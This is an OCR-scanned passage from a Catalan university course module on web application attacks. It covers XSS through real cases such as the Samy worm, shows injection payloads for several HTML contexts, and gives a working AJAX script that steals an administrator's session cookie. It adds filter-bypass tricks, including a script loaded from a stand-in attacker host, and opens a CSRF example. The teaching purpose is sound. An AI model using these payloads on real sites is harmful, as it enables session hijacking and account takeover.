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1. Atacs d'injeccio de scripts

En la denominacid injeccié de scripts s'agrupen diferents técniques que com-
parteixen el mateix sistema d'explotacié perod que persegueixen una finalitat
diferent. El fet de separar-les en diferents categories té solament la intenci6 de
facilitar la fixaci6é dels objectius volguts.

Un atac per injecci6 de codi es planteja com a objectiu aconseguir in-
jectar en el context d'un domini un codi JavaScript, VBScript o simple-
ment HTML, amb la finalitat d'enganyar l'usuari o fer una accié no vol-
guda suplantant-lo.

Una idea que ha de quedar molt clara és que en aquest tipus d'atac l'afectat
no és directament el servidor, com pot ser en el cas d'un atac d’SQL Injection,
sin6 que l'objectiu directe és 1'usuari. Més endavant, si l'atac té exit, i mitjan-
cant suplantacié de personalitat, es podran executar les accions volgudes en
el servidor afectat i en el que es pugui accedir des d'una pagina web.

Aix0 ha implicat que les fallades d'injeccié de scripts no siguin considerades
amenaces critiques en alguns sectors de la seguretat informatica, i fins i tot
s’ha considerat que aquesta mena d’errors no poden arribar a comprometre la
seguretat d'un lloc web. Com demostrarem al llarg d'aquest apartat, la injeccié
de scripts pot arribar a ser tan perillosa com qualsevol altra técnica si se sap

quin és el limit i el potencial que té.

A continuaci6 exposarem casos reals relacionats amb XSS (cross site scripting) en
qué ha quedat compromesa la seguretat d'un lloc web. Malgrat l'escepticisme
d'algunes persones, XSS pot permetre 1'obtencié de privilegis sobre un sistema
prou feble per a permetre inserir codi JavaScript.
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Zone-H

El primer cas és el de Zone-H, pagina dedicada a mantenir un registre dels llocs atacats
als quals s"ha modificat I'aparenca de la pagina principal, cosa que en argot s’anomena
desfiguracio (defacement). Aquest lloc registra també els autors identificats de les acci-
ons malicioses. Es irdnic que els atacats fossin ells mateixos.

El métode que van fer servir els atacants va ser enviar a un dels administradors del
lloc un correu electronic al seu compte de Hotmail, en que no feia gaire havien loca-
litzat una fallada d’XSS. Explotant l'error van aconseguir robar-li la galeta (cookie) de
sessio i d’aquesta manera van poder visitar el lloc web de Zone-H. Quan hi van ser,
van sol-licitar una recuperacio6 de la contrasenya que, evidentment, els van enviar al
correu electronic que havien segrestat abans. Una vegada van tenir aquest compte
d'administrador del lloc, tan sols els va quedar publicar una noticia que incloia codi
HTML, especialment escrit per a col-locar sobre la resta de la pagina el contingut que
ells volien.

Samy Worm i MySpace

El segon cas real, utilitzat com a exemple, en que 1’XSS va aconseguir comprometre la
seguretat d'un lloc va ser el que van protagonitzar Samy Worm i MySpace. En Samy
és un noi dels Estats Units que va detectar una vulnerabilitat d’XSS en el famoés portal
de MySpace. Per a explotar aquesta fallada i aprofitant els seus dots de programacio
JavaScript, en Samy va crear un cuc informatic que després es va coneixer com a Samy
worm.

Un cuc informatic és un programa que es replica entre sistemes afectats per la mateixa
vulnerabilitat. En un entorn web, un cuc és un codi JavaSCript que es replica entre
els perfils dels usuaris del lloc. I aixo va ser el que va fer en Samy amb el seu cuc:
replicar-lo en més d'un milié de perfils de MySpace.

El cuc no era especialment maligne. Solament feia tres accions: es replicava com qual-
sevol altre cuc, afegia 1'usuari d’en Samy com a amic de la persona infectada i incloia
la frase “but most of all Samy is my hero” en l'apartat d'herois personals de cada perfil.

En menys de vint-i-quatre hores actuant va arribar a bloquejar el sistema de MySpace,
i els administradors de la xarxa van haver de parar el servei mentre netejaven els
perfils dels usuaris infectats. A en Samy el van detenir i el van condemnar a pagar una
multa economica, a fer un mes de tasques per a la comunitat i a un any d'inhabilitacié
per a treballar amb ordinadors.


http://www.zone-h.org
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Figura 1. Cerca que retornava més de tres mil pagines amb el
text “Samy is my hero”.

) MSN Search: site:myspace.com “samy is my hero” - Mozilla Firefox
Fle Ed Yew Go Gockmaks Jooks Hep

@-D>-£RMW s comfres swazsanyt | © 6o [[GL

Web Desktop News Images Loce E 2
site:myspace.com *semy is my hero® "Search '~
+SearchBulder  Settngs  Help  Espafiol

Web Results

Page 1 0of 3,497 results containing site:myspace.com “samy is my hero” ©.10 seconds)

www.myspace.com/gasp

Scariest Places on Earth Fear The Adventures of Pete and Pete Heroes but most of all, samy is my hero. between
the buried and dee.’s Detalls Status: Smgle Sign: Taurus between the buried and ..
www.myspace.com/gasp

www.myspace.com/much_babbelry

Yun, C.S. Lewis, Alfred the Great, Dave Slater, Mother Teresa, Mr. Lepp. but most of all, samy is my hero.
Jordan/Yoda/Clambo's Details Status smgle Here for. Friends Orientation: Straight
v myspace.com/much_babbelry

www.myspace.com/

... delete here) Place your text or pictures here (stop deleting here) Heroes but most of all, samy is my hero. Groups:
Family guy , Hip Hop Worldwide , Graffiti Artists , kingdom hearts View All Ore 4 eva's ...
profile.myspace.com/index.cim?fuseaction=user.viewprofile&friendID=28651734 3

www.myspace.com/skippingten

... http:/Awew.myspace.com/skippingten james's Interests Heroes but most of all, samy is my hero. Groups: More rock
than a crack house. Hellen fan club , *Bobbi Billard® (Tons of FREE ..

www.myspace. cfm? D=4553048

www.myspace.com/phonograph

. drake and josh, fresh prince of belaire Books anonymous diaries Heroes but most of all, samy is my hero. Groups:
JetKa Prez , Lexi Rasmussen FanClub , Tne Sunsel
wwiw.myspace.com/phonograph 2

www.myspace.com/tensecondstolove

- traller park boys, that 70s show, listed, powerhour Heroes but most of all, samy is my hero. Michelle's Details Status:
angle Here for. Friends Orientation: Stralgm Hometown: toronto Body ...
vww.myspace.comitensecondstolove B

www.myspace.com/imamick

... dont really watch that much TV. Heroes but most of all, samy is my hero. Groups: AWESOME people , {Bob Marley} ,
Beach Living , jeromes ..

myspace.com/imamick

www.myspace.com/big_heart_on
but most of all, samy is my hero. Straightlacket Feeling's Details Status: Smgle Here for: Dating, Serious
Friends O Bit Fraser, Ml Body Type: 5'4
www.myspace.combig_heart_on o i

www.myspace.com/mrclancy
v
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Aquests dos casos reflecteixen perfectament que critica que pot arribar a ser
una vulnerabilitat XSS i la resta de les variants que té per a la seguretat d'un

lloc web, malgrat I'opini6 dels qui no les hi consideren.

HacKker Safe

En 1'altim dels casos que hem presentat, il-lustratiu d'aquesta polémica, hi surt la
companyia Hacker Safe, dedicada a comercialitzar solucions de seguretat. Aquesta
iniciativa promet, després de pagar certa quantitat monetaria, revisar diariament la
seguretat d'un lloc web mitjancant 1'ds d'eines automatitzades. A més, permet in-
cloure una petita imatge amb el text “100% Hacker Safe” en el lloc, amb 1'objectiu
d'inspirar confianga als usuaris.

Després de descobrir-se i fer-se public que algunes de les pagines “100% Hacker Sa-
fe” presentaven vulnerabilitats de tipus XSS, alguns dels maxims responsables de la
companyia van arribar a dir que les fallades d’XSS no eren critiques i que no s'havien
arribat a utilitzar mai per a comprometre totalment la seguretat d'un lloc. Com hem
vist en els casos anteriors i corroborarem en les pagines segiients, aquesta afirmaci6
és, si més no, ignorant.

1.1. Cross site scripting (XSS)

El cross site scripting és la base de totes les altres tecniques que analitzarem en
aquest modul, de manera que és fonamental entendre correctament tots els

conceptes que explicarem a continuacio.
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Quan es parla d'execucié remota de codi s’ha de considerar com es fa la in-
teraccié amb la pagina. Evidentment, qualsevol peticié enviada al servidor és
processada per aquest servidor, i segons com la interpreti, és factible un atac
mitjancant XSS o no.

Una pagina és vulnerable a XSS quan allo que nosaltres enviem al servi-
dor (un comentari, un canvi en un perfil, una cerca, etc.) es veu després
en la pagina de resposta.

Aixo €s, quan escrivim un comentari en una pagina i podem llegir
després aquest missatge, modifiquem el nostre perfil d'usuari i la resta
d'usuaris ho pot veure o fem una cerca i se'ns mostra un missatge (“No
se han encontrado resultados para <texto>", s'inclou dins de la pagina
el mateix text que hem introduit nosaltres. Aqui és on comencarem a

investigar per a aconseguir introduir el nostre codi XSS.

Una vegada s'ha detectat una zona de l'aplicaci6é que en rebre text procedent de
l'usuari el mostra a la pagina, és hora de determinar si es pot utilitzar aquesta
zona com a punt d'atac d’XSS. Per a aix0 es pot inserir un petit codi JavaScript
que mostra un missatge d'alerta per a saber de seguida si s'actua en la linia

correcta d'atac. Per als exemples utilitzarem el codi segiient:

<script>alert ("jHola Mundo!");</script>

El codi anterior és valid per a la major part dels casos, encara que com veu-
rem més endavant hi ha determinats filtres anti-XSS que poden impossibilitar
'as de certs caracters a I'hora d'introduir el codi JavaScript. Per exemple, les
cometes dobles o els caracters de més gran que (>) i més petit que (<) solen
estar prohibits.

Imaginem-nos que disposem d'un perfil en una xarxa social en que ens permeten mo-
dificar la nostra descripci6é personal. En lloc d'escriure una altra informacié en aquest
apartat, introduim el codi JavaScript anterior. Si quan tornem a visitar el nostre perfil es
mostra una finestra d'alerta amb el missatge “Hola Mundo!” es pot afirmar que la pagina
en qiiestio és vulnerable a XSS.

Dins les possibles fallades d’XSS distingim dues grans categories:

e Permanents: 'exemple que hem comentat en el paragraf anterior per-
tany a aquesta categoria. La denominaci6 es deu al fet que, com mostra-
va l'exemple, la finestra d'alerta en JavaScript queda emmagatzemada en
algun lloc, normalment en una base de dades SQL, i es mostra a qualse-
vol usuari que visita el nostre perfil. Evidentment aquest tipus de fallades
d’XSS sén molt més perilloses que les no permanents, que comentem a

continuacio.

¢ No permanents: aquesta categoria queda il-lustrada amb el cas que ara es-

mentarem. Tenim una pagina web que disposa de cercador, el qual, en in-
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troduir una paraula inventada o una cadena aleatoria de caracters, mostra
un missatge com ara “No se han encontrado resultados para la busqueda
<texto>", en que <texto> és la cadena introduida en el camp de cerca.

Si en la cerca s'introdueix com a <texto> el codi JavaScript que hem indicat
abans, i torna a sortir la finestra d'alerta, vol dir que l'aplicaci6 és vulnerable
a XSS. La diferéncia és que aquesta vegada els efectes de 'accié no sén perma-
nents.

XSS (cross site scripting) consisteix en la possibilitat d'introduir codi Ja-
vaScript en una aplicacié web, cosa que permet fer-hi una serie d'accions

malicioses.

Per a injectar el codi s’ha de localitzar una zona de la pagina que per la funcio-
nalitat que té incorpori dins el seu propi codi HTML el codi JavaScript que s'ha
introduit abans en algun lloc de l'aplicaci6. Si aquest codi s'ha escrit en algun
camp en qué queda emmagatzemat en una base de dades de manera perma-
nent, es mostrara cada vegada que un usuari accedeixi a la pagina. No obstant
aixo, les vulnerabilitats més habituals soén les no permanents. En aquests casos
s’ha de recorrer a l'enginyeria social per a fer l'atac. Per a aix0 cal fixar-se pri-
mer de tot en 'URL de la pagina, que ha de ser una cosa semblant a aquesta:

http://www.victima.com/search?query=<script>alert ("Hola Mundo") ;</script>

Una vegada es disposa d'aquest URL, s’ha de procurar que la victima hi faci
clic a sobre, i executar aixi el codi JavaScript. Aquesta situaci6 ja correspon a

un altre ambit d'estudi com és l'enginyeria social.

1.1.1. Atacs

A continuacié6 comentarem les possibles implicacions de seguretat que pot
presentar una fallada d'aquest tipus. S’ha de considerar que solament es tracta
d'idees generals i que el limit el posa la imaginaci6 de l'atacant i les funciona-
litats de l'aplicaci6 objectiu de l'atac.

e Un atac d’XSS pot prendre el control sobre el navegador de 1'usuari
afectat i com a tal fer accions en l'aplicaci6 web. Si s'ha aconseguit que
un usuari administrador executi el nostre codi JavaScript, les possibilitats
d'actuacié maliciosa sén molt superiors. Per a esmentar algun exemple,
es pot fer des d’esborrar totes les noticies d'una pagina fins a generar un
compte d'administrador amb les dades que nosaltres especifiquem. Si el
codi JavaScript I’executa un usuari sense drets d'administracio, es pot fer
qualsevol modificacié associada al perfil especific de 1'usuari en el lloc web.
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e Una altra possible accié que es pot fer utilitzant aquestes técniques és la
pesca (phishing). Mitjancant JavaScript, com hem vist, podem modificar
el comportament i I'aparenca d'una pagina web. Aixo permet crear un for-
mulari d’inici de sessié (login) fals o redirigir el submit d'un que ja existeix
cap a un domini del nostre control.

® També es poden executar atacs de desfiguracid' recolzant-nos en técniques
que exploten vulnerabilitats XSS.

e D'altra banda, encara que menys habitual, es pot fer un atac de denega-
ci6 de serveis distribuits (distributed dennial of services, DDoS). Per a aixo,
mitjancant codi JavaScript, s’ha de forcar que els navegadors facin un s
intensiu de recursos molt costosos en amplada de banda o capacitat de

processament d'un servidor de manera asincrona.

¢ Finalment, tenim el cuc XSS, un codi JavaScript que es propaga dins un
lloc web o entre pagines d'Internet. Suposem l'existéncia d'una fallada XSS
en la descripci6 personal dels usuaris d'una xarxa social. En aquesta situ-
acié un usuari malintencionat podria crear codi JavaScript que copiés el
codi del cuc al perfil de l'usuari que visita un altre perfil infectat i que ad-

dicionalment fes algun tipus de modificaci6 en els perfils afectats.

Com es pot comprovar, les possibilitats que ofereix 1’XSS s6n realment ampli-
es. Les uniques limitacions les constitueixen la impossibilitat d'executar codi
fora del navegador, ja que la sandbox sobre la qual s'executa no permet l'accés
a fitxers del sistema, i les funcionalitats que ofereixi el lloc web objectiu del
possible atac.

1.1.2. Metodes per a introduir XSS

Per a exposar les diferents metodologies que permeten introduir codi JavaS-
cript en una pagina vulnerable a XSS, desenvoluparem una serie de practiques
de la técnica. Abordarem els meétodes més comuns per a inserir el codi malici-
6s generat. Els meétodes exposats els anomenarem segons les zones de codi de
l'aplicaci6 web en qué quedara situat el codi JavaScript que introduim:

e FEl codi es copia entre dues etiquetes HTML: és la manera més senzilla.
Simplement hem d’introduir el codi JavaScript que volem executar.

<script>alert ("jHola Mundo!");</script>

e El codi es copia dins d'una etiqueta value d'una etiqueta <input>:
I'exemple basic és el dels cercadors en llocs web, que hem descrit més
amunt. Quan fem una cerca amb aquests cercadors, I'habitual és que el
terme introduit es copii dins del camp del cercador. Aixo, en HTML, que-

daria com el codi que mostrem a continuacio:

MEs més que la modificacié de
I'aparenca original d'una pagina
web perqué mostri un missatge,
normalment reivindicatiu, en lloc
de I'aparenca normal.
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<input type="text" name="qg" value="[busqueda]" />

Com veiem, el nostre codi queda situat entre unes cometes dobles d'un
atribut pertanyent a una etiqueta HTML que no permeten que s'executi.
Per aix0 s’ha de tancar l'etiqueta HTML en que ens trobem i després inserir

el codi JavaScript.
"/><script>alert (" jHola Mundo!");</script><div class="
Aquesta és la combinaci6 resultant.

<input type="text" name="qg" value=""/>

<script>alert ("Hola Mundo!");</script><div class="" />

Al final del codi generat s'ha introduit una etiqueta <div> per a evitar
d'aquesta manera que el codi HTML quedi mal format.

¢ El codi es copia dins d'un comentari HTML: aquest cas sol ser com en
pagines mal programades que deixen missatges de depuraci6 dins del codi
font HTML. Un exemple del que podem trobar en una situacié d'aquest

tipus és el seglient:
<!-- La busqueda fue "[busquedal]" -->

En qué [busqueda] correspon a la cadena de text buscada. En aquest cas
s'han de tancar els caracters de comentari HTML, s’ha d’introduir el nos-
tre codi JavaScript i després s’han de tornar a obrir els comentaris HTML.
D'aquesta manera el codi que hem creat nosaltres s’hauria de compenetrar

perfectament amb el codi original de la pagina.
<script>alert ("jHola Mundo");</script><!-
Aquesta podria ser la combinaci6é adequada.

<!-- La busqueda fue "--><script>alert ("Hola Mundo");</script>

<lo-m o>

¢ El codi es copia dins d'un codi JavaScript: aixo és habitual quan les
pagines utilitzen dades introduides per 'usuari per a generar algun tipus
d'esdeveniment personalitzat o per a emmagatzemar dades que es faran
servir més endavant en algun altre lloc de l'aplicacié web. La sintaxi és

com aquesta:
<script> var busqueda = "[busqueda]"; </script>

En aquest punt no cal incloure les etiquetes <script>, siné que es pot

introduir directament el codi JavaScript com es reflecteix en la sintaxi se-
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gient. El fet de no haver d'incloure les etiquetes <script> sera important
quan caldra evitar els filtres anti-XSS que les eliminen.

";alert ("jHola Mundo!");//

Hem utilitzat les barres inclinades al final de la sintaxi per a aconseguir
que la resta de la linia JavaScript quedi comentada i no interfereixi en
I'execuci6 del nostre codi. Aquesta circumstancia és ara encara més deter-
minant que quan incorporem el codi generat al codi HTML, perqueé si el
JavaScript no és valid la majoria dels navegadors no l'executaran.

<script> var busqueda ="";alert ("jHola Mundo");//";</script>

e Altres casos: els exemples especificats abans s6n els més comuns en que
trobarem que el nostre codi JavaScript s'inclou dins del codi HTML d'una
pagina. En els casos que hem indicat, s'ha partit del suposit que no hi ha
implementats filtres anti-XSS. Al costat d’aquests casos, n'hi ha d’altres
de més complexos per a la inclusié de codi JavaScript com ara fer-ho en
capcaleres HTTP.

1.1.3. Disseccionar un atac

Per a entendre més bé el funcionament d'aquesta técnica analitzarem un atac
des de l'inici fins al final. L'atac consistira en el robatori de la galeta de sessi6
de l'usuari administrador d'un lloc web. La galeta de sessi6 consisteix en un
petit fitxer (de fins a 4 kB) que conté un identificador tinic i que s'envia des del
nostre navegador al costat de cada peticié que fem cap a un servidor. Aquest
identificador, associat a un usuari que s'ha identificat satisfactoriament en el
sistema, evita haver d'introduir les credencials per a cada pagina que l'usuari
visita dins d'un mateix domini. Per tant, si obtenim l'identificador d'un altre
usuari i l'enviem al servidor, aquest servidor ens associara a cada moment a

l'usuari al qual suplantem.

El pas principal en qualsevol analisi en la recerca de vulnerabilitats de tipus
XSS en una pagina web és localitzar zones funcionals d'aquesta pagina que
permetin introduir text en les quals es torni a mostrar aquest text, sia de ma-
nera permanent si queda emmagatzemat en una base de dades, sia de manera
no permanent si no hi queda.

En el cas que mostra la imatge segiient, la pagina web ofereix un servei de
missatgeria entre usuaris, que pot ser un exemple simple per a un possible atac
XSS.
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Figura 2. Enviament de missatge

Ahora con un 15% méé de comunidad

Per a determinar si un camp, sia un parametre des de I'URL o un camp de text
en que es pugui escriure, és vulnerable a XSS, hem d’introduir una série de
caracters per a comprovar si hi ha algun filtre anti-XSS. Els caracters que s’han
d’introduir s6n aquests:

e Cometa simple ()

e Cometa doble (“)

e Simbol de més gran que (>)
e Simbol de més petit que (<)
e Barra inclinada (/)

e Espai()

Si som capacos d'introduir aquests caracters, hi ha un alt percentatge de pos-
sibilitats de trobar alguna fallada d’XSS. No obstant aix0, no podem assegu-
rar-ne l'existéncia de manera completament definitiva, perque sempre hi ha
la possibilitat de trobar-nos algun altre tipus de filtre que ens impedeixi intro-
duir paraules clau com script, onload o javascript.

En l'escenari que ara es planteja es pot introduir qualsevol tipus de caracter o
cadena de caracters després de verificar que aquests caracters no son filtrats, ni
bloquejats. Ens aprofitarem d’aquesta situacié per a generar el nostre primer
atac d’'XSS.

En el camp de Para: escriurem el nostre propi nom d'usuari: eviluser. D'aquesta
manera totes les proves que fem s'envien directament a aquest usuari, i aixi
evitem alertar 1'usuari administrador. En el camp del cos del missatge introdui-
rem un text amb codi JavaScript que ens mostri un missatge de “Hola Mundo”,
com feien exemples anteriors. El resultat del codi introduit abans d'enviar el

tenim a continuacio:



CC-BY-NC-ND ¢ PID_00191644 14

Atacs a aplicacions web

Figura 3. XSS abans de ser enviat.

<script>
alert ("Hola Mundo!"):;
</scripcﬂ

En aquest punt és important aturar-nos i analitzar el que passara quan fem clic
al boto Enviar. Fins i tot essent nosaltres els que hem introduit i enviat aquest
codji, la vulnerabilitat XSS encara no haura estat explotada. Aix0 passara quan
amb el nostre usuari, eviluser, naveguem fins a la seva safata d'entrada. Per aixo
les fallades d’XSS es diferencien de la resta de técniques. Després de prémer
Enviar i desplagar-nos a la safata d'entrada obtindrem una finestra d'alerta amb
el missatge especificat.

El que ens interessa realment d’aixo és analitzar com ha quedat el codi font
HTML resultant dels passos anteriors, a mesura que el retorna el servidor:

<a href="index.php?action=delete"><img src="trash.png" />Borr

<a href="index.php?action=logout"><img src="system-log-out.pn

<div class="contenido">
<p class="autor"> De: eviluser</p><p class="mensaje"><script>

</script></p></div>

</div>

</body>

Com veiem, tots els caracters que hem introduit han quedat emmagatzemats
en la base de dades i s'han copiat en el codi HTML generat, sense que s'hi hagi
aplicat cap filtre.

Una vegada demostrat que podem executar codi JavaScript a la pagina, estem
en disposicié de comencar a jugar amb les funcionalitats que té. D'aquesta
manera es pot crear un codi que tanqui la sessi6é de l'usuari automaticament o
que esborri tots els seus missatges. La llista de possibilitats d'accions malicioses
no s’acabaria mai.

En l'exemple que exposem desenvoluparem una accié de més gravetat, utilit-
zant per a aix0 tecnologia AJAX (asynchronous JavaScript and XML), passant a

enviar missatges de manera automatica utilitzant el compte de 1'usuari. Fent
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aixo aconseguirem que l'usuari que rebi el nostre missatge ens envii un missat-
ge alanostra safata d'entrada amb la seva galeta de sessio. Si I’enviem a un usu-
ari amb privilegis administratius aconseguirem control total sobre l'aplicacio.

Generalment cal una bona base de JavaScript per a explotar de manera satis-
factoria qualsevol fallada d’XSS. En aquest cas aquests coneixements han de
ser avangats. Aqui facilitarem un codi completament funcional, que analitza-
rem linia per linia perqué es pugui entendre 1'objectiu que té.

<script>

d = "&to=eviluseré&enviar=Enviar&mensaje=Mi cookie es: "+document.cookie;

if (window.XMLHttpRequest)

{

x=new XMLHttpRequest () ;

else

x=new ActiveXObject ('Microsoft.XMLHTTP'") ;

x.open ("POST", "func/send.php", true) ;

x.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded"') ;

x.setRequestHeader ('Content-Length',d.length) ;
x.send (d) ;

</script>

Aquest codi JavaScript ens permetra recollir la galeta de sessi6é de l'usuari. De
manera completament transparent per a l'usuari afectat, aquest usuari ens
I'enviara mitjancant un missatge. Fem-ne l’analisi:

¢ Inicialment es declara una variable d. Aquesta variable conté els valors de
&to, &enviar i &mensaje, que son les variables que s'envien en l'aplicacié
quan enviem un missatge. Un detall important que s’ha de tenir en compte
és el contingut de la variable &mensaje, document.cookie, un objecte del

DOM? de la pagina que conté totes les galetes associades al domini actual.

e En les linies segilients es fa un if...else que ens assegura la creaci6é d'un ob-
jecte de tipus XMLHttpRequest tant en navegadors Internet Explorer com
Firefox o semblants. Aquest objecte és el que s'usa per a fer les peticions
AJAX.

e Amb open() establim les condicions que es faran servir per a enviar el for-
mulari. Es enviat per POST a I'URL func/send.php. Aix0 s'obté tornant a
analitzar el formulari d'enviament. Mitjancant true s'indica que la peticio
es fara de manera asincrona, aixo és, el navegador no es queda “congelat”

mentre s'envia el missatge.

@Dpom sén les sigles de docu-
ment object model. Es una ma-
nera d’anomenar qualsevol ele-
ment d'una pagina web, des de
la barra d'adreces fins a un sim-
ple text en negreta, mitjancant
una nomenclatura jerarquica. Per
exemple, tots els elements HTML
d'una pagina estan relacionats en
document.body.
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e Les dues linies segiients, en que es crida a la funcié setRequestHeader(),
s'usen per a establir capcaleres HTTP que facin que el servidor web enten-
gui que el que enviem és un formulari, encara que 'usuari no I’hagi em-
plenat.

e DPer acabar s’'invoca send() passant-hi com a parametre la variable d que
teniem creada des del principi del codi. Gracies a aix0 el navegador fa les
accions que hem definit abans i, si tot ha sortit bé, I'usuari afectat ens
enviara la seva galeta de sessio.

Per a verificar que l'atac es fa segons el que s’ha previst, enviarem un missatge a
l'usuari admin i des d'un altre navegador iniciarem sessié amb el nostre usuari

per a comprovar que el codi compleix la comesa.

Figura 4. XSS abans de ser enviat.

Type', 'application/x-www-form-
urlencoded') ;
x.setRequestHeader ('Content—

Length',d.length);
X.send(d);

</script>

iQue pagina mas chula!

Com s’aprecia en la imatge anterior, s'ha afegit un missatge en el cos de
I'enviament perqueé l'usuari administrador no sospiti quan rebi un missat-
ge buit. Després de prémer el boté Enviar, I'usuari eviluser només s’haura
d'asseure a esperar i anar refrescant la safata d'entrada fins que rebi un missatge
d'usuari admin amb el valor de la seva galeta de sessio. El codi JavaScript envi-
at es podra veure dins del codi font, pero passara completament desapercebut
per a l'usuari admin quan inicii la sessié6 amb el navegador i automaticament
se li presenti la safata d'entrada.

El codi HTML que rep l'usuari admin quan obre la safata d'entrada és aquest:

<div class="contenido">

<p class="autor">De: eviluser</p><p class="mensaje"><script>

d= "&to=eviluserg&enviar= Enviar &mensaje=Mi cookie es: "+document.cookie;
if (window:XMLHttpRequest)

{

x=new XMLHttpRequest ();
else
x=new ActiveXObject ('Microsoft.XMLHTTP');

}

x.open ("POST", "func/send.php", true) ;
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x.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded') ;
x.setRequestHeader ('Content-Length',d.length) ;

xsend (d) ;

</script>

iQue pagina mas chula!</p></div>

</div>

</body>

Aquest codi ha estat interpretat pel navegador de 'usuari admin i automatica-
ment s'ha enviat un missatge a l'usuari eviluser amb la galeta de sessi6.

Figura 5. Missatge rebut per l'usuari eviluser

De: admin

Mi cookie es: PHPSESSID=77vas7ms17vvul3ngg6evn8ra7

Amb aquesta informaci6 a les mans, 1'usuari eviluser pot modificar el valor
de la seva galeta amb el valor que ha rebut. D'aquesta manera, quan el seu
navegador ’envia al servidor, el servidor respon amb les pagines corresponents

a l'usuari admin.

Aquesta demostracio és un exemple clar del potencial que pot arribar a im-
plicar un atac basat en XSS. Com hem vist, sense saber la contrasenya de
I'administrador d'un lloc web hem aconseguit accedir al seu compte.

1.1.4. Filtres XSS

La majoria de vegades no es pot escriure codi JavaScript directament com hem
fet en l'exemple anterior. Habitualment els programadors han establert una
serie de regles per a intentar evitar les fallades XSS. No obstant aix0, normal-
ment els filtres que s'utilitzen sén implementacions parcials del que hauria
de ser un filtre anti-XSS complet, i aix0 ens permet introduir el nostre codi
JavaScript salvant les dificultats addicionals que es presentin.

Ara plantejarem una serie de mesures de proteccié que ens podem trobar i
com ho hem de fer per a passar les limitacions imposades per aquestes mesu-
res. Aix0 ens servira per a entendre com pensa un atacant a 1'hora d'introduir
codi XSS i millorar d'aquesta manera les nostres possibles implementacions
de filtres anti-XSS.

¢ Quan introduim els caracters ‘ 0 “ es canvien per \’ o \”: aquesta técnica
es coneix com a escapar els caracters, i és atil enfront d'injeccions SQL pero
no enfront d'atacs XSS. Quan intentem tancar una etiqueta HTML, com
hem vist més amunt, i ens trobem que s'escapen les cometes, es poden
donar dues situacions, que l’atacant pot salvar. L'etiqueta queda tancada
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coma \’ o0\”, cosaque en HTML és completament valida, de manera que
podem continuar introduint codi JavaScript.

<input type="text" name="q" value="\" />

<script>alert (document.cookie) ;</script>

Es impossible establir la cadena “Hola Mundo!” perqué no es po-
den escriure correctament les cometes. Els métodes que es poden usar
en aquests casos son diversos. Per exemple, podem utilitzar la funcio
String.fromCharCode(), que rep una llista de codis ASCII i genera una ca-
dena:

String.fromCharCode (72, 111, 108, 97, 32, 77, 117, 110, 100, 111, 33)

També es poden establir referéncies a fitxers JavaScript externs, en que
podrem usar tots els caracters que vulguem sense preocupar-nos de cap
tipus de filtre.

<script src=http://www.atacante.com/xss.js></script>

¢ Elcodiintroduit no pot ser superior a X caracters: una limitaci6 tipica és
trobar-nos que no podem escriure més d'un nombre determinat de carac-
ters. Aquesta limitaci6 es pot solucionar una altra vegada de dues maneres:

— Si hi ha diverses variables en que es pot introduir codi JavaScript, po-
dem usar la suma dels caracters corresponents a cadascuna d'aquestes
variables per a ampliar el nombre de caracters disponibles. Aixo es fa
mitjancant els caracters de comentaris multilinia de JavaScript: /* a

I'inici i */ al final.

— Siestem limitats a la grandaria d"un sol camp, es pot utilitzar un fitxer
extern per a carregar tot el codi JavaScript que faci falta. Per a reduir la
longitud de la direccié URL, podem usar pagines de l'estil tinyurl.com
ois.gd. Aixi, per exemple, I'URL http://www.victima.com/xss.js queda

traduida a http://is.gd/owyt:
<script src=http://is.gd/owYT></script>

¢ No podem introduir la cadena script o no ens permet introduir els
caracters de més gran que (>) i més petit que (<) : encara que d’entrada
poden semblar dos casos diferents, al final es poden resoldre de la mateixa
manera. Les etiquetes HTML tenen esdeveniments que es poden llancar
quan passen certs fets: OnLoad, quan es carrega l'element; OnMouseOver,
quan es desplaca el cursor pel damunt; OnClick, quan s’hi fa clic a sobre;
etcetera. Podem usar aquests elements per a introduir el nostre codi:

<input type="text" name="buUsqueda" value=""
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OnFocus="alert ('Hola Mundo!"');" />

e Altres casos: les tecniques d’XSS son tan variades com ens puguem imagi-
nar. S’ha de tenir en compte que no depenem de la tecnologia del servidor
si no de la del navegador que fan servir els usuaris. Hi ha técniques per
a executar codi JavaScript que funcionen en Internet Explorer 7 i no en
Firefox 3, o fins i tot codi que s'executa en Safari 3 perd que no ho faen la
versio 4. Per aixd no és factible automatitzar aquesta técnica, ni arribar a
saber-ne tots els secrets, sin6 que l'atacant ha de fer servir el seu coneixe-
ment i la seva experiéncia per a aconseguir introduir el codi XSS.

1.2. Cross site request forgery (CSRF)

Una vegada entesa la base de 1’XSS, és hora d'estudiar algunes técniques con-
cretes que se’'n deriven i que es pot fer amb aquestes tecniques. Una és el cross
site request forgery (CSRF).

El CSRF és una tecnica per la qual aconseguirem que l'usuari faci acci-
ons no volgudes en dominis remots. Es basa en la idea d'aprofitar la per-
sisténcia de sessions entre les pestanyes d'un navegador. L'analitzarem

amb un exemple hipoteétic per a entendre-la.

L'usuari obre el navegador i entra en el lloc www.sitio0O1.com. Hi inicia la sessi6 amb el
seu usuari i li permet fer una série d'accions economiques, com ara licitacions o compres
d'objectes. Alhora entra a la xarxa social de moda, www.sitio002.com, en que té les fotos
personals i s’escriu missatges amb els amics. No obstant aixo, resulta que sitio002.com té
una fallada d’XSS permanent i un atacant l'utilitza per a generar un atac CSRE.

Quan ens identifiquem en un lloc determinat ens associen una galeta de sessi6 que ens
autentica solament davant del servidor. Aixo evita haver d'introduir les nostres creden-
cials a cada pagina que visitem. No obstant aixo, no podem controlar quan s'envien
aquestes galetes. Si el nostre navegador té emmagatzemada una galeta associada a un
domini, I'enviara en cada petici6 feta a aquest domini, fins i tot si aquesta petici6é no es
fa voluntariament.

En aquest idea es basa la tecnica de CSRF. Ara obligarem un usuari a fer accions no volgu-
des sobre un domini des d'un altre. Imaginem-nos que sitio001.com, que, recordem-ho,
permetia transaccions economiques, utilitza URL com el segiient per a comprar objectes
amb la targeta de crédit emmagatzemada:

http://www.sitio001.com/comprar.asp?idObjeto=31173&confirm=yes

Si un usuari malintencionat aconseguis que un usuari autenticat a la pagina anterior
fes clic sobre I'enllag, obtindria com a resultat la compra de 1'objecte en qiiestio. Aixo
és, podria enganyar la gent per comprar objectes que ell posaria a la venda per un preu
desorbitat.

No obstant aixd, un usuari qui hi estigués avesat no faria clic sobre un enlla¢ que no
coneix i que ha rebut d'una persona en qui no confia. Aqui és on entra en joc la técnica
